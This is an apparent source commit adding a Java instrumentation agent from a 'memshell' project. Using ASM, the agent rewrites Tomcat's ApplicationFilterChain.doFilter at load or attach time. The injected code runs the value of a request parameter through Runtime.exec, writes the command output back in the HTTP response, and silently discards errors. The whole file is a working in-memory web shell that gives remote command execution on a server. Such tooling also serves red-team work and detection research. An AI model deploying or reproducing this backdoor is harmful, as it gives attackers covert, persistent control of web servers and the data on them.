1
+ package com .reajason .javaweb .memshell .agent ;
2
+
3
+ import org .objectweb .asm .*;
4
+
5
+ import java .lang .instrument .ClassFileTransformer ;
6
+ import java .lang .instrument .Instrumentation ;
7
+ import java .lang .reflect .Method ;
8
+ import java .security .ProtectionDomain ;
9
+
10
+ /**
11
+ * @author ReaJason
12
+ */
13
+ public class CommandFilterChainTransformer implements ClassFileTransformer {
14
+
15
+ private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain" ;
16
+
17
+ public static ClassVisitor getClassVisitor (ClassVisitor cv ) {
18
+ return new ClassVisitor (Opcodes .ASM9 , cv ) {
19
+ @ Override
20
+ public MethodVisitor visitMethod (int access , String name , String descriptor ,
21
+ String signature , String [] exceptions ) {
22
+ MethodVisitor mv = super .visitMethod (access , name , descriptor , signature , exceptions );
23
+ if ("doFilter" .equals (name ) &&
24
+ "(Ljavax/servlet/ServletRequest;Ljavax/servlet/ServletResponse;)V" .equals (descriptor )) {
25
+ return new DoFilterMethodVisitor (mv );
26
+ }
27
+ return mv ;
28
+ }
29
+ };
30
+ }
31
+
32
+ private static class DoFilterMethodVisitor extends MethodVisitor {
33
+
34
+ public DoFilterMethodVisitor (MethodVisitor mv ) {
35
+ super (Opcodes .ASM9 , mv );
36
+ }
37
+
38
+ @ Override
39
+ public void visitCode () {
40
+ super .visitCode ();
41
+
42
+ // Define our parameter name
43
+ mv .visitLdcInsn ("paramName" );
44
+ mv .visitVarInsn (Opcodes .ASTORE , 3 ); // Store "paramName" in local var 3
45
+
46
+ // Define labels for try-catch
47
+ Label tryStart = new Label ();
48
+ Label tryEnd = new Label ();
49
+ Label catchHandler = new Label ();
50
+
51
+ // Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING
52
+ mv .visitTryCatchBlock (tryStart , tryEnd , catchHandler , "java/lang/Exception" );
53
+
54
+ // Start of try block
55
+ mv .visitLabel (tryStart );
56
+
57
+ // Get the parameter from request: request.getParameter(paramName)
58
+ mv .visitVarInsn (Opcodes .ALOAD , 1 ); // Load request (first param)
59
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Object" , "getClass" ,
60
+ "()Ljava/lang/Class;" , false );
61
+ mv .visitLdcInsn ("getParameter" );
62
+ mv .visitInsn (Opcodes .ICONST_1 );
63
+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Class" );
64
+ mv .visitInsn (Opcodes .DUP );
65
+ mv .visitInsn (Opcodes .ICONST_0 );
66
+ mv .visitLdcInsn (Type .getType ("Ljava/lang/String;" ));
67
+ mv .visitInsn (Opcodes .AASTORE );
68
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Class" , "getMethod" ,
69
+ "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;" , false );
70
+
71
+ // Invoke the getParameter method
72
+ mv .visitVarInsn (Opcodes .ALOAD , 1 ); // Load request object
73
+ mv .visitInsn (Opcodes .ICONST_1 );
74
+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Object" );
75
+ mv .visitInsn (Opcodes .DUP );
76
+ mv .visitInsn (Opcodes .ICONST_0 );
77
+ mv .visitVarInsn (Opcodes .ALOAD , 3 ); // Load paramName
78
+ mv .visitInsn (Opcodes .AASTORE );
79
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/reflect/Method" , "invoke" ,
80
+ "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;" , false );
81
+ mv .visitTypeInsn (Opcodes .CHECKCAST , "java/lang/String" );
82
+ mv .visitVarInsn (Opcodes .ASTORE , 4 ); // Store cmd in local var 4
83
+
84
+ // Check if cmd is not null
85
+ mv .visitVarInsn (Opcodes .ALOAD , 4 );
86
+ Label ifNullLabel = new Label ();
87
+ mv .visitJumpInsn (Opcodes .IFNULL , ifNullLabel );
88
+
89
+ // Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
90
+ mv .visitMethodInsn (Opcodes .INVOKESTATIC , "java/lang/Runtime" , "getRuntime" ,
91
+ "()Ljava/lang/Runtime;" , false );
92
+ mv .visitVarInsn (Opcodes .ALOAD , 4 ); // Load cmd
93
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Runtime" , "exec" ,
94
+ "(Ljava/lang/String;)Ljava/lang/Process;" , false );
95
+ mv .visitVarInsn (Opcodes .ASTORE , 5 ); // Store Process in local var 5
96
+
97
+ // Get input stream: InputStream inputStream = exec.getInputStream();
98
+ mv .visitVarInsn (Opcodes .ALOAD , 5 ); // Load Process
99
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Process" , "getInputStream" ,
100
+ "()Ljava/io/InputStream;" , false );
101
+ mv .visitVarInsn (Opcodes .ASTORE , 6 ); // Store InputStream in local var 6
102
+
103
+ // Get response output stream
104
+ mv .visitVarInsn (Opcodes .ALOAD , 2 ); // Load response (second param)
105
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Object" , "getClass" ,
106
+ "()Ljava/lang/Class;" , false );
107
+ mv .visitLdcInsn ("getOutputStream" );
108
+ mv .visitInsn (Opcodes .ICONST_0 );
109
+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Class" );
110
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/Class" , "getMethod" ,
111
+ "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;" , false );
112
+ mv .visitVarInsn (Opcodes .ALOAD , 2 ); // Load response
113
+ mv .visitInsn (Opcodes .ICONST_0 );
114
+ mv .visitTypeInsn (Opcodes .ANEWARRAY , "java/lang/Object" );
115
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/lang/reflect/Method" , "invoke" ,
116
+ "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;" , false );
117
+ mv .visitTypeInsn (Opcodes .CHECKCAST , "java/io/OutputStream" );
118
+ mv .visitVarInsn (Opcodes .ASTORE , 7 ); // Store OutputStream in local var 7
119
+
120
+ // Create buffer: byte[] buf = new byte[8192];
121
+ mv .visitIntInsn (Opcodes .SIPUSH , 8192 );
122
+ mv .visitIntInsn (Opcodes .NEWARRAY , Opcodes .T_BYTE );
123
+ mv .visitVarInsn (Opcodes .ASTORE , 8 ); // Store byte[] in local var 8
124
+
125
+ // While loop to read and write data
126
+ Label loopStart = new Label ();
127
+ Label loopEnd = new Label ();
128
+
129
+ // Start of loop
130
+ mv .visitLabel (loopStart );
131
+
132
+ // Read data: inputStream.read(buf)
133
+ mv .visitVarInsn (Opcodes .ALOAD , 6 ); // Load inputStream
134
+ mv .visitVarInsn (Opcodes .ALOAD , 8 ); // Load buffer
135
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/io/InputStream" , "read" ,
136
+ "([B)I" , false );
137
+ mv .visitVarInsn (Opcodes .ISTORE , 9 ); // Store length in local var 9
138
+
139
+ // Check if length == -1
140
+ mv .visitVarInsn (Opcodes .ILOAD , 9 );
141
+ mv .visitInsn (Opcodes .ICONST_M1 );
142
+ mv .visitJumpInsn (Opcodes .IF_ICMPEQ , loopEnd );
143
+
144
+ // Write data: outputStream.write(buf, 0, length)
145
+ mv .visitVarInsn (Opcodes .ALOAD , 7 ); // Load outputStream
146
+ mv .visitVarInsn (Opcodes .ALOAD , 8 ); // Load buffer
147
+ mv .visitInsn (Opcodes .ICONST_0 );
148
+ mv .visitVarInsn (Opcodes .ILOAD , 9 ); // Load length
149
+ mv .visitMethodInsn (Opcodes .INVOKEVIRTUAL , "java/io/OutputStream" , "write" ,
150
+ "([BII)V" , false );
151
+
152
+ // Go back to start of loop
153
+ mv .visitJumpInsn (Opcodes .GOTO , loopStart );
154
+
155
+ // End of loop
156
+ mv .visitLabel (loopEnd );
157
+
158
+ // Return from the method without calling original doFilter
159
+ mv .visitInsn (Opcodes .RETURN );
160
+
161
+ // If cmd is null, continue with original method
162
+ mv .visitLabel (ifNullLabel );
163
+
164
+ // End of try block
165
+ mv .visitLabel (tryEnd );
166
+
167
+ // Skip catch block if we didn't enter it
168
+ Label afterCatch = new Label ();
169
+ mv .visitJumpInsn (Opcodes .GOTO , afterCatch );
170
+
171
+ // Start of catch block
172
+ mv .visitLabel (catchHandler );
173
+ // The exception is now on the stack
174
+ mv .visitVarInsn (Opcodes .ASTORE , 10 ); // Store exception in local var 10 and discard it
175
+
176
+ // End of catch block
177
+ mv .visitLabel (afterCatch );
178
+ }
179
+ }
180
+
181
+ @ Override
182
+ public byte [] transform (ClassLoader loader , String className , Class <?> classBeingRedefined ,
183
+ ProtectionDomain protectionDomain , byte [] bytes ) {
184
+ if (TARGET_CLASS .equals (className )) {
185
+ try {
186
+ ClassReader cr = new ClassReader (bytes );
187
+ ClassWriter cw = new ClassWriter (cr , ClassWriter .COMPUTE_MAXS | ClassWriter .COMPUTE_FRAMES );
188
+ Method getClassLoader = cw .getClass ().getDeclaredMethod ("getClassLoader" );
189
+ getClassLoader .setAccessible (true );
190
+ System .out .println (getClassLoader .invoke (cw ));
191
+ ClassVisitor cv = CommandFilterChainTransformer .getClassVisitor (cw );
192
+ cr .accept (cv , ClassReader .EXPAND_FRAMES );
193
+ return cw .toByteArray ();
194
+ } catch (Exception e ) {
195
+ e .printStackTrace ();
196
+ }
197
+ }
198
+ return bytes ;
199
+ }
200
+
201
+ public static void premain (String args , Instrumentation inst ) {
202
+ inst .addTransformer (new CommandFilterChainTransformer (), true );
203
+ }
204
+
205
+ public static void agentmain (String args , Instrumentation inst ) {
206
+ System .out .println (DoFilterMethodVisitor .class .getClassLoader ());
207
+ inst .addTransformer (new CommandFilterChainTransformer (), true );
208
+ }
209
+ }
0 commit comments